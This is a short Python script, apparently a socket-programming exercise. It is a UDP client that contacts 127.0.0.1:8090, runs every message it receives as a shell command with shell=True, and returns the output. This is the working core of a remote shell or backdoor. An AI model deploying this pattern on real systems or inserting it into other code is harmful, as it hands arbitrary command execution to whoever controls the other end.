import socket
import subprocess
sk=socket.socket(type=socket.SOCK_DGRAM)
ip_port=('127.0.0.1',8090)
sk.sendto(b'hi',ip_port)
while True:
    msg,addr=sk.recvfrom(1024)
    if msg.decode('utf-8')=='bye':
        sk.sendto(b'bye',ip_port)
        break
    ret=subprocess.Popen(msg.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    resout=f'stdout:{ret.stdout.read().decode("gbk")}'.encode('utf-8')
    reserr=f'stderr:{ret.stderr.read().decode("gbk")}'.encode('utf-8')
    sk.sendto(resout,ip_port)
    sk.sendto(reserr,ip_port)
sk.close()